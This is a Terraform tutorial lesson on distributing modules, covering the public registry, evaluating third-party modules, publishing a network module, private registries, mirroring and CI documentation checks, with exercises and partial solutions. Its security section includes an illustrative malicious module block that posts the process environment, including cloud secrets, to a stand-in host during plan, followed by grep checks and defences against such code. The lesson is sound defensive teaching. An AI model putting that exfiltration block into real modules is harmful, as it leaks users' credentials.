EcoMarket's modules live inside ecomarket-infra and are called with relative paths. That works while there is a single consumer, but you already know there is not: ecomarket-wholesale needs the same network, and copying the directory is exactly the problem we were running away from. This lesson is about taking modules out of the repository and distributing them: how the Terraform Registry works, how to evaluate somebody else's module before handing it your credentials, how to publish terraform-aws-ecomarket-network step by step, what private alternatives exist when the code cannot leave the company, and how you decide whether it is worth replacing one of your own modules with a community one.
- What the Terraform module registry is
The Terraform Registry (registry.terraform.io) is HashiCorp's public index and it hosts two different things that are worth not confusing:
| Providers | Modules | |
|---|---|---|
| What is distributed | Compiled binaries (Go) | HCL code |
| Who signs them | Signed with GPG and verified by the registry | No signature and no content verification |
| Where the code is stored | In the registry, packaged | On GitHub: the registry only indexes |
What init downloads |
The binary, into .terraform/providers/ |
A tarball from GitHub, into .terraform/modules/ |
| Lock file | .terraform.lock.hcl with checksums |
None |
The fourth and fifth rows are the important ones and they explain much of this lesson. The module registry is a catalogue, not a warehouse. When you write:
Terraform queries the registry, which answers something equivalent to "version 5.8.1 is at https://github.com/terraform-aws-modules/terraform-aws-vpc, tag v5.8.1", and downloads it from GitHub. The registry keeps no copy, computes no hash, signs nothing. That is why source with a registry and source with Git are, at bottom, the same thing with a layer of indirection that contributes the catalogue, the search, the documentation and version-range resolution.
The full flow, from the author's git push --tags to the consumer's .terraform/modules/, makes clear where each piece sits:
sequenceDiagram
participant A as Module author
participant G as GitHub<br/>(terraform-aws-ecomarket-network)
participant R as registry.terraform.io<br/>(CATALOGUE, not a warehouse)
participant T as terraform init<br/>(consumer)
A->>G: git push origin v2.1.0
G-->>R: webhook: new tag
R->>G: reads README, variables and outputs
R-->>R: indexes version 2.1.0
Note over T: source = "ecomarket/ecomarket-network/aws"<br/>version = "~> 2.1.0"
T->>R: which version matches ~> 2.1.0?
R-->>T: 2.1.0 → github.com/ecomarket/... tag v2.1.0
T->>G: downloads the tarball
G-->>T: HCL code
Note over T: .terraform/modules/network/<br/>+ an entry in modules.json<br/>NO checksum, NO lock file
The two closing notes summarise everything that follows: the code arrives from GitHub, with no signature and no checksum, and nothing freezes it except what you write in source and version.
The structure of a public module's identifier is fixed:
terraform-aws-modules / vpc / aws
└──────┬──────────┘ └┬┘ └─┬─┘
NAMESPACE NAME PROVIDER
(GitHub user (what (which
or org) it does) provider)And in a private registry the host goes in front:
app.terraform.io / ecomarket / network / aws
└──────┬───────┘ └────┬───┘ └───┬──┘ └─┬─┘
HOST ORG NAME PROV
- Searching for a module: the search and its filters
Searching is done at registry.terraform.io/browse/modules, filtering by provider. The results show, for each module: namespace, name, description, download count, last publication and, in some cases, a Verified or Partner badge.
It is worth understanding what those badges mean, because they are systematically misread:
| Badge | What it actually means | What it does not mean |
|---|---|---|
| Verified (modules) | The namespace belongs to a HashiCorp partner with a commercial relationship and a maintenance commitment | That HashiCorp has audited the code, nor that it is secure, nor that it is bug-free |
| Partner / Official (providers) | Signed and maintained by HashiCorp or by the vendor | — |
| No badge | Anybody with a GitHub account can publish | That it is bad: terraform-aws-modules is not "verified" and it is the most used module collection in the ecosystem |
That last nuance is key and it dismantles the mental shortcut of "if it is not verified, I will not use it": terraform-aws-modules are community modules, maintained by volunteers, with millions of downloads and excellent quality. Downloads and recent activity tell you more than the badge does.
- Evaluating a third-party module: the checklist
Before putting somebody else's module on the critical path of your production, run through this list. Each row takes less than a minute and avoids months of trouble.
| # | What to look at | Good sign | Bad sign |
|---|---|---|---|
| 1 | Downloads | Tens of thousands a month | Fewer than a thousand: you are among the first to find its bugs |
| 2 | Last commit | Within the last few weeks | More than a year: the provider has changed and the module has not |
| 3 | Release frequency | Regular, with minor versions and patches | A single 0.1.0 from three years ago |
| 4 | Open versus closed issues | Many closed; the open ones have maintainer replies | Hundreds open with no reply at all |
| 5 | Number of maintainers | Several, or an organisation | One single person who has not shown up for six months |
| 6 | Supported provider version | >= 5.0 with the current one |
Pinned to an old major: it blocks the rest of your configuration |
| 7 | Terraform required_version |
Compatible with your 1.9.8 | Requires a major higher than yours, or < 1.0 |
| 8 | README quality | Usage example, table of inputs and outputs, upgrade notes | Four lines and no example |
| 9 | CHANGELOG.md |
Exists, distinguishes breaking changes | Does not exist: every version bump is a surprise |
| 10 | examples/ |
Several, runnable, tested in CI | None |
| 11 | Tests | tests/*.tftest.hcl or Terratest in CI |
None |
| 12 | Size of the interface | Proportionate to what it does | 200 variables: a provider mirror |
| 13 | Licence | Permissive (MIT, Apache 2.0, MPL 2.0) | No licence: legally you cannot use it |
| 14 | provider blocks inside |
None | A legacy module: no count, for_each or depends_on |
| 15 | provisioner or local-exec |
None, or justified and documented | It runs scripts on your machine: see section 4 |
Rows 14 and 15 are checked in thirty seconds with the code in front of you:
# Clone and review before using
$ git clone --depth 1 --branch v5.8.1 \
https://github.com/terraform-aws-modules/terraform-aws-vpc /tmp/review-vpc
# Does it configure providers? (that would make it legacy)
$ grep -rn '^provider ' /tmp/review-vpc --include='*.tf'
# Does it run code on my machine?
$ grep -rn 'provisioner\|local-exec\|remote-exec\|external' /tmp/review-vpc --include='*.tf'
# Which providers does it need and with what constraints?
$ cat /tmp/review-vpc/versions.tf
# How many variables does it have?
$ grep -c '^variable ' /tmp/review-vpc/variables.tfA decision rule that sums up the table: a module with fewer than a thousand monthly downloads, no releases in a year and no examples is not a dependency, it is a fork you have not made yet. If its functionality suits you, copy its code into your repository, respect its licence and take responsibility for it. That is more honest than depending on something abandoned.
- The warning nobody reads: a module runs code with your credentials
This section is short and it is the most important one in the lesson.
When you call a module, you run a third party's code inside your Terraform process, with your cloud credentials active. There is no sandbox, no reduced permissions, no confirmation. The module can:
- Create any resource in your account, not just the ones its README mentions.
- Read anything your credentials have access to, via
datablocks. - Run commands on your machine or on your CI runner with
provisioner "local-exec"or with theexternalprovider. - Send data anywhere with the
httpprovider.
An example of what fits inside an innocent-looking module:
# Inside a "useful" third-party module — EXFILTRATION
data "external" "telemetry" {
program = ["bash", "-c", "curl -s -X POST https://analytics.example.net/t -d \"$(env)\" && echo '{}'"]
}That block sends the process's environment variables — including AWS_SECRET_ACCESS_KEY and your TF_VAR_db_password — to somebody else's server, and returns an empty JSON so that nothing fails. It runs during terraform plan; you do not even have to reach the apply. A review plan in a PR is enough.
The risk is made worse by two structural reasons:
- There is no module lock file. With providers,
.terraform.lock.hclstores checksums and detects a substitution. With modules there is no equivalent: if somebody moves thev2.1.0tag to another commit, your nextinit -upgradewill silently bring in different code. - Dependencies are transitive. A module can call others, which in turn call others. Auditing the first-level one is not enough.
The practical defences, in order of effectiveness:
| Defence | Cost | Effectiveness |
|---|---|---|
Reading the code before using it (the greps from section 3) |
Minutes | High against the obvious |
Pinning version or ref to an exact tag or SHA |
None | High: it prevents silent changes |
| Internal mirroring: copying the reviewed module into your own repository | Medium | Very high: you control which code comes in |
Running plan with read-only credentials |
Low | High against resource creation |
| Restricting the CI runner's outbound network | Medium | High against exfiltration |
Reviewing the plan for resources you did not expect |
Low | Medium: a data block does not appear as a resource |
| A dependency policy (approved namespaces only) | Low | High at organisation scale |
EcoMarket's policy, which is written into the repository's CONTRIBUTING.md:
Permitted third-party modules:
hashicorp/*andterraform-aws-modules/*, withversionpinned. Any other source requires a code review by the platform team and is consumed from an internal mirror atgithub.com/ecomarket/mirror-*. No third-party module with aprovisioneror theexternalprovider goes into production.
You will come back to this in Security Best Practices, which covers the whole supply chain's security.
- Anatomy of a module's registry page
A module's page in the registry always has the same sections, and knowing what to look at in each one saves time:
| Section | What it contains | What to look for |
|---|---|---|
| Header | Namespace, name, provider, version, downloads, badges | The most recent version and when it was published |
| Provision Instructions | The module block ready to copy, with source and version |
Always change the version it suggests for a considered range |
| Readme | The repository's README.md, rendered |
The usage example and the upgrade notes |
| Inputs | Table of variables with type, description, default value and whether it is required | How many there are and whether they are documented |
| Outputs | Table of outputs | Whether it publishes what you need; if not, it is no use to you |
| Dependencies | Required providers and submodules | Version constraints that might clash with yours |
| Resources | List of resources it creates | Very useful: it reveals what the README does not say |
| Submodules | Nested modules that can be used separately | They let you use just one part |
| Versions | Version history | Publication rhythm and whether there are recent majors |
Two sections deserve comment.
Provision Instructions always offers the exact most recent version:
Copying that as-is pins the exact version, which is not a mistake but does mean you will never get a patch without editing the code. For EcoMarket, the range is a conscious decision: ~> 5.8.0 in prod (patches only) and ~> 5.8 in dev (patches and minors), reviewed when updating.
Submodules are a little-known and very useful feature. A module can publish internal parts that are consumed with //:
# The whole module
module "vpc" {
source = "terraform-aws-modules/vpc/aws"
version = "~> 5.8.0"
}
# Just one submodule: the VPC endpoint, without creating the whole VPC
module "endpoints" {
source = "terraform-aws-modules/vpc/aws//modules/vpc-endpoints"
version = "~> 5.8.0"
vpc_id = module.vpc.vpc_id
}The double slash works the same as with Git, and version still applies because the source is still the registry. This lets you reuse one piece without carrying the whole module, and it is a good design signal: a module with well-split submodules is usually well thought out.
- Publishing your own module: the exact requirements
To publish in the public registry, the module must meet six requirements. These are not recommendations: if any one is missing, publication is rejected.
| # | Requirement | Detail | EcoMarket example |
|---|---|---|---|
| 1 | Public GitHub repository | GitHub only for the public registry. It must be public | github.com/ecomarket/terraform-aws-ecomarket-network |
| 2 | Repository name | Exactly terraform-<PROVIDER>-<NAME> |
terraform-aws-ecomarket-network |
| 3 | Standard structure | main.tf, variables.tf, outputs.tf at the root of the repository |
Yes |
| 4 | Semantic version tags | x.y.z, with or without a leading v. At least one |
v1.0.0 |
| 5 | Repository description | GitHub's description field: it is what the search shows |
"EcoMarket base network: VPC, private subnets and optional NAT" |
| 6 | Licence | A recognisable LICENSE file |
LICENSE with Apache 2.0 |
Requirement 2 causes the most rejections, and it is worth breaking down:
terraform - aws - ecomarket-network
└───┬───┘ └─┬─┘ └───────┬───────┘
literal provider module name
(a single (may contain hyphens)
segment)- The
terraform-prefix is mandatory and is not part of the published name. - The second segment is the main provider, lower-case and without hyphens:
aws,azurerm,google,kubernetes,null. - The rest is the name, which may contain hyphens.
The published module will be ecomarket/ecomarket-network/aws, where ecomarket is the GitHub organisation. Names that do not work:
| Repository name | Why it fails |
|---|---|
ecomarket-network |
The terraform- prefix is missing |
terraform-modules-network |
modules is not a valid provider |
terraform-aws-vpc-modules |
Syntactically valid, but the published name would be vpc-modules, which is confusing |
Terraform-AWS-Network |
It must be lower-case |
And requirement 3 has a surprising consequence: the module must be at the root of the repository, not in modules/network/. One repository per module. If you want a module monorepo, the public registry is no use to you and you will have to use Git with // and tags, as shown in section 10.
The repository ends up like this:
terraform-aws-ecomarket-network/
├── main.tf
├── locals.tf
├── variables.tf
├── outputs.tf
├── versions.tf
├── README.md
├── CHANGELOG.md
├── LICENSE
├── .terraform-docs.yml
├── templates/
│ └── vpc.json.tftpl
├── examples/
│ ├── minimal/
│ └── complete/
├── modules/ ← submodules publishable with //
│ └── endpoints/
├── tests/
│ └── basic.tftest.hcl
└── .github/workflows/
└── validate.yml
- The publication process step by step
Step 1: prepare the repository.
$ git init terraform-aws-ecomarket-network
$ cd terraform-aws-ecomarket-network
# Copy the module's contents to the ROOT (not to modules/network/)
$ cp -r ../ecomarket-infra/modules/network/* .
# Licence
$ curl -sL https://www.apache.org/licenses/LICENSE-2.0.txt -o LICENSEStep 2: check that it validates and is formatted.
$ terraform fmt -recursive -check
$ terraform init -backend=false # no backend: we only want to validate
$ terraform validate
Success! The configuration is valid.-backend=false is the detail that makes it possible to validate a standalone module: a child module has no backend, and without that option init would try to initialise one.
Step 3: test the examples.
$ cd examples/complete
$ terraform init && terraform apply -auto-approve
Apply complete! Resources: 7 added, 0 changed, 0 destroyed.
$ terraform destroy -auto-approveStep 4: generate the README.
Step 5: publish the repository and tag it.
$ gh repo create ecomarket/terraform-aws-ecomarket-network --public \
--description "EcoMarket base network: VPC, per-zone private subnets and optional NAT"
$ git add . && git commit -m "Initial version of the network module"
$ git branch -M main
$ git remote add origin [email protected]:ecomarket/terraform-aws-ecomarket-network.git
$ git push -u origin main
# The tag IS the version. With no tag, the registry publishes nothing.
$ git tag -a v1.0.0 -m "First stable version"
$ git push origin v1.0.0Step 6: register the module in the registry.
This is done once, from the web interface:
- Log in to
registry.terraform.iowith the GitHub account. Publish→Module.- Authorise access to the
ecomarketorganisation (you must be an organisation administrator). - Select the repository from the list. Only correctly named repositories appear: if you cannot see yours, check requirement 2.
- Confirm.
Within seconds the module is published at registry.terraform.io/modules/ecomarket/ecomarket-network/aws/1.0.0 and can already be consumed:
module "network" {
source = "ecomarket/ecomarket-network/aws"
version = "~> 1.0"
base_name = local.prefix
cidr = local.current.cidr
zones = var.zones
tags = local.common_tags
}Step 7: check what was published. It is worth looking at the rendered page and verifying that the Inputs and Outputs tables are complete. If any description comes out empty, a description was missing in the code.
- Publishing new versions
Here is the part that surprises people most and that has the best consequences:
Publishing a new version is, literally, pushing a tag. There is no command, no interface, no button.
The registry receives a webhook from GitHub, detects the new tag and publishes the version in under a minute. Practical consequences:
| Fact | Consequence |
|---|---|
| The tag is the version | Tagging v2.0.0 by mistake publishes a major that nobody can undo |
| Published versions cannot be deleted | A mistake is corrected by publishing v2.0.1, never by deleting v2.0.0 |
| Never move a tag | Whoever already has the version cached will not see the change; whoever does not, will. Silent drift between environments |
Anybody with push --tags permission publishes |
Protect tags on GitHub and restrict who can create them |
The registry reads main at the moment of the tag |
The tag must point at a valid, tested commit |
The format accepts v1.1.0 or 1.1.0; the registry normalises it. What it does not accept are pre-release suffixes on the normal channel: v1.1.0-rc1 is published but is marked as a pre-release and a ~> range will not select it.
The discipline this imposes — protected tags, immutable versions, fixing forwards — is exactly that of any software library, and you will study it in depth in Module Composition and Versioning.
- Private registries: Terraform Cloud and Enterprise
The public registry requires a public repository, and that rules out most company modules. HashiCorp's option is the private registry included in Terraform Cloud (today HCP Terraform) and in Terraform Enterprise.
An overview, because the platform detail belongs to Terraform Cloud and Enterprise:
module "network" {
source = "app.terraform.io/ecomarket/ecomarket-network/aws"
version = "~> 2.1"
base_name = local.prefix
cidr = local.current.cidr
zones = var.zones
tags = local.common_tags
}# Authentication: one token per host, in the CLI credentials file.
$ terraform login app.terraform.io
# Or, in CI, via an environment variable:
$ export TF_TOKEN_app_terraform_io="..."That TF_TOKEN_<host with dots and hyphens turned into underscores> variable is the clean way to authenticate in a pipeline without leaving credential files lying around the disk.
| Feature | Public registry | Private registry (HCP/TFE) |
|---|---|---|
| Visibility | Worldwide | The organisation only |
| Code source | Public GitHub only | GitHub, GitLab, Bitbucket, Azure DevOps, public or private |
terraform-<prov>-<name> name required |
Yes | Yes, with the same rules |
| Publication | Push a tag | Push a tag, or upload with the API |
| Access control | None | By team |
| Cost | Free | Included from certain plans upwards |
| "No-code" modules | No | Yes (create infrastructure from the interface) |
- Alternatives without a registry: Git with tags and artifacts in S3
You do not need a registry to distribute modules. Two widely used alternatives:
Git with tags
It is the default option for most teams, and for EcoMarket it is the chosen one before making the leap to the registry:
module "network" {
source = "git::ssh://[email protected]/ecomarket/terraform-aws-ecomarket-network.git?ref=v2.1.0"
}
# Module monorepo: a subdirectory with a double slash
module "data" {
source = "git::ssh://[email protected]/ecomarket/terraform-modules.git//data?ref=v2.1.0"
}Advantages and drawbacks compared with the registry:
| Git with tags | Registry | |
|---|---|---|
| Infrastructure required | None: you already have Git | A public or paid registry |
| Module monorepo | Yes, with // |
No: one repository per module |
Version ranges (~> 2.1) |
No: ref is exact |
Yes |
| Updating to a patch | Edit the source in every consumer |
init -upgrade |
| Search and catalogue | No | Yes |
| Rendered documentation | GitHub's README | A page with tables and versions |
| Access control | Git's | By team |
Losing version ranges is the serious drawback, and in large teams it is compensated for with automatic dependency-update tools that open a PR when a new tag appears. It is also what makes Terragrunt more attractive in these environments (07-05).
A note on authentication in CI, which is where it always fails: git::ssh:// needs an SSH key on the runner, and git::https:// needs a token. The usual way with a token:
# On the CI runner: rewrite the URL to inject the token
$ git config --global url."https://oauth2:${GITHUB_TOKEN}@github.com".insteadOf "https://github.com"Artifacts in S3 or GCS
For closed networks or to decouple from the Git provider:
# Package and upload
$ tar -czf network-2.1.0.tar.gz -C modules/network .
$ aws s3 cp network-2.1.0.tar.gz s3://ecomarket-modules/network/network-2.1.0.tar.gzmodule "network" {
source = "s3::https://ecomarket-modules.s3.eu-west-1.amazonaws.com/network/network-2.1.0.tar.gz"
}Terraform uses the environment's AWS credentials to download it. Advantage: total control and no external dependencies. Drawback: you have to build the packaging and the naming policy by hand, and there are no version ranges and no catalogue.
- Mirroring in restricted networks
In environments with no internet access — banking, government, industry — terraform init cannot reach registry.terraform.io or GitHub. There are two different mechanisms and it is worth not mixing them up:
For providers: an official mirror. Terraform has native support.
# On a machine WITH access: download everything the configuration needs
$ terraform providers mirror /tmp/provider-mirror
# Copy /tmp/provider-mirror into the restricted environment and configure the CLI:# ~/.terraformrc or %APPDATA%\terraform.rc
provider_installation {
filesystem_mirror {
path = "/opt/terraform/providers"
include = ["registry.terraform.io/*/*"]
}
direct {
exclude = ["registry.terraform.io/*/*"]
}
}For modules: there is no official mechanism. There is no terraform modules mirror. The three real solutions:
| Strategy | How | When |
|---|---|---|
| Replica in internal Git | A scheduled job clones the approved modules into git.internal/mirror-<name> preserving tags; the source values point at the internal Git |
The most used one; it gives control and auditability |
| Artifacts in internal storage | Package into .tar.gz and serve them over HTTP or S3-compatible storage |
When there is no internal Git reachable from the runner |
| Vendoring in the repository | Copy the module's code into vendor/modules/<name>/ and use a local path |
Maximum reproducibility, maximum update effort |
Mirroring into internal Git has a further security benefit that we already mentioned in section 4: it is a control point. Nothing goes into production without passing a review that leaves a record, and a tag moved in the original repository does not affect your copy.
- Documentation kept in sync with
terraform-docs in CI
terraform-docs in CIAn out-of-date README is worse than no README, because people believe it. The solution is to treat it as code: if it is not in sync, the build fails.
# .github/workflows/validate.yml
name: Validate module
on: [push, pull_request]
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: hashicorp/setup-terraform@v3
with:
terraform_version: 1.9.8
- name: Format
run: terraform fmt -recursive -check -diff
- name: Validate the module and the examples
run: |
for dir in . examples/*/; do
echo "== $dir"
terraform -chdir="$dir" init -backend=false
terraform -chdir="$dir" validate
done
- name: Check that the README is in sync
uses: terraform-docs/gh-actions@v1
with:
working-dir: .
output-file: README.md
output-method: inject
fail-on-diff: true # fails if the README does not match the codefail-on-diff: true is the line that matters. With it, a PR that adds a variable without regenerating the README does not pass the build, and the registry's inputs table never lies. A common variant is git-push: true, which instead of failing commits the updated README automatically; it is more convenient and somewhat less explicit.
You will build a module's complete pipeline — validation, tests, automatic tagging from the CHANGELOG, publication — in module 8. For now, the three checks above already avoid most problems.
- Replacing your own module with a community one
The question eventually arrives: EcoMarket maintains terraform-aws-ecomarket-network, and terraform-aws-modules/vpc/aws exists with millions of downloads. Is it worth switching?
An honest comparison:
| Criterion | Own module (ecomarket-network) |
terraform-aws-modules/vpc/aws |
|---|---|---|
| Functional coverage | What EcoMarket needs today | VPC, public/private/DB/ElastiCache/Redshift subnets, NAT, IPv6, flow logs, peering, DHCP… |
| Size of the interface | 6 variables | More than 200 |
| Learning curve | None: it is yours | Steep: the README is enormous |
| Maintenance | Your responsibility | The community's, very active |
| New provider features | You implement them | They usually arrive within weeks |
| Fixing a bug | Immediate, you do it | Open an issue and wait, or fork it |
| Company policy built in | Yes: mandatory flow logs, naming, tagging | No: it has to be imposed from outside in every consumer |
| Third-party security risk | None | It exists, although the project is very trustworthy |
| Cost of adoption | Already done | Migration with moved, resource by resource |
| Risk of abandonment | If the person who wrote it leaves | Low: many maintainers |
EcoMarket's decision, and the reasoning behind it: adopt terraform-aws-modules/vpc/aws as the leaf module and wrap it in ecomarket-network, which stays on as a thin policy module.
# terraform-aws-ecomarket-network/main.tf — v3.0.0
module "vpc" {
source = "terraform-aws-modules/vpc/aws"
version = "~> 5.8.0"
name = local.vpc_name
cidr = var.cidr
azs = var.zones
private_subnets = [for i, z in var.zones : cidrsubnet(var.cidr, var.subnet_bits, i)]
public_subnets = [for i, z in var.zones : cidrsubnet(var.cidr, var.subnet_bits, i + 100)]
enable_nat_gateway = var.create_nat
single_nat_gateway = var.create_nat # a single NAT: cost policy
# --- EcoMarket policy: NOT configurable from outside ---
enable_dns_hostnames = true
enable_dns_support = true
enable_flow_log = true
flow_log_destination_type = "cloud-watch-logs"
create_flow_log_cloudwatch_log_group = true
create_flow_log_cloudwatch_iam_role = true
flow_log_cloudwatch_log_group_retention_in_days = 90
tags = local.tags
}This combines the best of both worlds and it is worth spelling out why:
- Coverage and maintenance belong to the community: when AWS ships something new, it arrives on its own.
- The interface is still six variables: EcoMarket's consumers never see the 200.
- The policy is still mandatory: flow logs and DNS are fixed inside and nobody can switch them off.
- The change is reversible: if the community module is abandoned, the insides of
ecomarket-networkare reimplemented without any consumer noticing. This is encapsulation at its most useful.
The price is a major version — v3.0.0 — because resources change address, and therefore a migration with moved:
# Inside terraform-aws-ecomarket-network, in v3.0.0
moved {
from = local_file.vpc
to = module.vpc.aws_vpc.this[0]
}
moved {
from = local_file.subnet["eu-west-1a"]
to = module.vpc.aws_subnet.private[0]
}Two warnings about these blocks, which are the same ones from 03-05 applied to somebody else's module:
- Internal names must be checked, not guessed.
aws_vpc.this[0]carries an index because the module usescount. The right way to find out is to deploy the new module in a test environment and runterraform state list. - A module that uses
countwith ordered lists — like this one'sprivate_subnets— is sensitive to ordering: if you reordervar.zones, the subnets get reindexed. Fix the ordering inside the module (sort(var.zones)) so that the consumer cannot break it by accident.
When not to make this substitution: if your case is genuinely simple and the community module brings a hundred resources you do not use; if its provider version constraint clashes with the rest of your configuration; or if its rhythm of major versions would force you into frequent migrations you cannot absorb.
Common Mistakes and Tips
-
Naming the repository wrongly.
terraform-<provider>-<name>, all lower-case, with the provider as a single segment. If the repository does not appear in the list when publishing, it is almost always this. -
Publishing with no tag. The registry only publishes tagged versions. A perfect repository with no
x.y.ztag appears as a module with no versions and cannot be consumed. -
Moving an already published tag. Whoever has the module cached will carry on with the old code and whoever does not will get the new one: two environments with the same declared version and different code. It is the hardest failure to diagnose in the whole lesson. Fix forwards, with a new version.
-
Believing that "Verified" means audited. It means the namespace belongs to a commercial partner. It says nothing about the content of the code.
-
Using a third-party module without reading it. It runs with your credentials, in your process, and a
data "external"block is enough to exfiltrate the environment during a simpleplan. The threegreps from section 3 cost a minute. -
Putting the module in
modules/network/and expecting to publish it. The public registry requires the module at the root of the repository: one repository per module. Module monorepos are distributed over Git with//. -
Copying the
Provision Instructionsblock without thinking. It pins the exact most recent version. You decide the range:~> 5.8.0for patches,~> 5.8for minors. -
Tip:
terraform init -backend=falseto validate a standalone module. A child module has no backend; without that option,initcomplains. -
Tip: protect tags on GitHub. A
v*tag protection rule prevents an accidentalgit push --tagsfrom publishing a major version that can no longer be deleted. -
Tip: write the
CHANGELOG.mdin the same PR as the change, not when tagging. By tagging time you no longer remember why you renamed that variable, and it is exactly what the consumer needs to read.
Exercises
Exercise 1: evaluate two third-party modules
EcoMarket needs a module to manage DNS records. Two candidates:
Module A — acompany/dns-records/aws
- 2,100,000 downloads last month; latest version 3 weeks ago
- 41 open issues, 380 closed; 12 maintainers
required_providers:aws >= 4.0;required_version >= 1.0- README with 4 examples;
examples/with 5 directories tested in CI - Complete
CHANGELOG.md; Apache 2.0 licence - 14 variables; no
providerblocks; noprovisioner
Module B — another-org/easy-dns/aws
- 620 downloads last month; latest version 19 months ago
- 87 open issues, 6 closed; 1 maintainer
required_providers:aws ~> 3.70;required_version ~> 0.14- 6-line README; no
examples/ - No
CHANGELOG.md; no licence file - 3 variables; contains
provider "aws" { region = var.region }and alocal-exec
- Score each one with the checklist from section 3 and state B's three most serious problems.
- What specific error will B give if you try to call it with
for_each? Write the message. - What happens with B's
aws ~> 3.70constraint if the rest of your configuration needsaws ~> 5.8? - If B's functionality were essential and there were no alternative, what would you do? List three options in order of preference.
Exercise 2: preparing and publishing terraform-aws-ecomarket-data
You are going to publish the data module from 04-02.
- State the exact repository name and the identifier it will be consumed with from the registry, assuming the
ecomarketorganisation. - Write the repository's complete tree, with all the mandatory files and the recommended ones.
- Write the sequence of commands, from
git initto publishingv1.0.0, including the prior validations. - Write the
moduleblock a consumer inecomarket-wholesalewould use, with a version range suitable for production. - Six weeks later you add a
maintenance_windowvariable with adefault. What version number does it deserve and what commands are needed to publish it? - By mistake you tag and publish
v2.0.0when you meantv1.1.0. Can it be undone? What do you do?
Exercise 3: choosing between your own module and a community one
EcoMarket needs to manage the images buckets. There is a widely used community module, terraform-aws-modules/s3-bucket/aws, with 80 variables. The internal requirements are:
- KMS encryption always, with a key managed by EcoMarket.
- Versioning always enabled.
- Public access always blocked.
- Lifecycle rule: to infrequent-access storage after 30 days, deletion after 365.
- Name
<prefix>-images-<suffix>, no exceptions. - EcoMarket's common tags.
- Compare the three options in a table: your own module from scratch, direct use of the community module, and a wrapper around the community module.
- Pick one and justify it with three arguments.
- Write the resulting module's interface (an abridged
variables.tf): five variables maximum. - Write the wrapper's
main.tf, marking with comments what is non-configurable policy. - State what kind of version change this decision would mean for consumers already using a previous in-house module, and what they would need in order to migrate without destroying the bucket.
Solutions
Solution 1
Point 1 — scoring:
| Criterion | A | B |
|---|---|---|
| Downloads | Excellent | Bad (620/month) |
| Last commit | Excellent | Very bad (19 months) |
| Issues | Good ratio | Very bad: 87 open, 6 closed |
| Maintainers | 12 | 1 |
| Provider version | >= 4.0, compatible |
Very bad: ~> 3.70 |
required_version |
>= 1.0 |
Bad: ~> 0.14 |
| Documentation and examples | Excellent | Non-existent |
| Licence | Apache 2.0 | None |
| Interface | 14 variables, proportionate | 3 variables (too rigid) |
Internal provider |
No | Yes: a legacy module |
provisioner |
No | Yes: local-exec |
B's three most serious problems, in order:
- No licence. With no licence file, the code is copyrighted by default and you have no legal permission to use it in a commercial product. That is an absolute blocker, not an inconvenience.
aws ~> 3.70. It locks your entire configuration to a provider major from years ago. It is incompatible with any other modern module.- An internal
providerblock pluslocal-exec. The first makes it legacy (nocount/for_each/depends_on); the second runs commands on your machine or your runner, with everything that implies.
Point 2:
╷ │ Error: Module is incompatible with count, for_each, and depends_on │ │ on main.tf line 3, in module "dns": │ 3: for_each = var.records │ │ The module at module.dns is a legacy module which contains its own local │ provider configurations, and so calls to it may not use the count, │ for_each, or depends_on arguments. ╵
Point 3:
╷ │ Error: Failed to query available provider packages │ │ Could not retrieve the list of available versions for provider │ hashicorp/aws: no available releases match the given constraints │ ~> 3.70, ~> 5.8 ╵
Terraform needs one single version of each provider that satisfies every module. ~> 3.70 and ~> 5.8 have no intersection, so init fails and there is no way to resolve it other than changing one of the two modules. It is the reason why 04-02 recommends declaring broad minimums (>= 4.0) in modules and pinning the exact version only in the root.
Point 4 — options, in order:
- Fork and adopt. Copy the code into
github.com/ecomarket/terraform-aws-easy-dns, remove theproviderblock and thelocal-exec, widen the constraint to>= 4.0, add your own licence if the original allows it — here it does not, so you would have to contact the author — and maintain it yourselves. - Reimplement. With 3 variables, the module does very little; writing the equivalent with direct
aws_route53_recordresources is probably half a day's work and removes the dependency entirely. - Use it as-is. Only if the licence problem is resolved and accepting that you stay on
aws 3.x, which in practice means the rest of the configuration stays there too. In a real environment, this is unacceptable.
The licence problem makes option 2, in fact, the only viable one.
Solution 2
Point 1:
- Repository:
terraform-aws-ecomarket-data - Published identifier:
ecomarket/ecomarket-data/aws - Page URL:
registry.terraform.io/modules/ecomarket/ecomarket-data/aws
Point 2:
terraform-aws-ecomarket-data/
├── main.tf # mandatory (standard structure)
├── locals.tf
├── variables.tf # mandatory
├── outputs.tf # mandatory
├── versions.tf # required_version + required_providers, NO provider
├── README.md # with the BEGIN_TF_DOCS/END_TF_DOCS markers
├── CHANGELOG.md # recommended
├── LICENSE # MANDATORY for the registry
├── .terraform-docs.yml
├── .gitignore # .terraform/, *.tfstate, *.tfvars
├── examples/
│ ├── minimal/
│ │ ├── main.tf
│ │ └── versions.tf
│ └── complete/
│ ├── main.tf
│ ├── versions.tf
│ └── outputs.tf
├── tests/
│ └── basic.tftest.hcl
└── .github/workflows/
└── validate.ymlPoint 3:
$ git init terraform-aws-ecomarket-data && cd terraform-aws-ecomarket-data
$ cp -r ../ecomarket-infra/modules/data/* .
$ curl -sL https://www.apache.org/licenses/LICENSE-2.0.txt -o LICENSE
# Prior validations
$ terraform fmt -recursive -check -diff
$ terraform init -backend=false && terraform validate
# The examples must also validate and apply
$ (cd examples/complete && terraform init && terraform apply -auto-approve && terraform destroy -auto-approve)
# Documentation
$ terraform-docs markdown table --output-file README.md --output-mode inject .
# Publishing the repository
$ gh repo create ecomarket/terraform-aws-ecomarket-data --public \
--description "EcoMarket data layer: PostgreSQL and an images bucket with encryption and retention"
$ git add . && git commit -m "Initial version of the data module"
$ git branch -M main
$ git remote add origin [email protected]:ecomarket/terraform-aws-ecomarket-data.git
$ git push -u origin main
# The tag IS the publication
$ git tag -a v1.0.0 -m "First stable version"
$ git push origin v1.0.0And once, in the web interface: registry.terraform.io → Publish → Module → authorise ecomarket → select the repository.
Point 4:
module "data" {
source = "ecomarket/ecomarket-data/aws"
version = "~> 1.0.0" # production: patches only
base_name = local.prefix
suffix = random_pet.suffix.id
subnets = module.network.private_subnets
size = "medium"
high_availability = true
retention_days = 30
tags = local.common_tags
}Point 5:
Adding a variable with a default is backwards compatible: no existing consumer breaks and nothing has to be touched in their configurations. It deserves a MINOR version: v1.1.0.
$ git commit -am "Added maintenance_window with a default value"
$ git push
$ git tag -a v1.1.0 -m "Configurable maintenance window"
$ git push origin v1.1.0Consumers on version = "~> 1.0.0" will not receive it — that range only accepts 1.0.x — whereas those on ~> 1.0 will receive it when they run init -upgrade. It is exactly the difference discussed in 04-03, and the whole point of pinning narrow ranges in production.
Point 6:
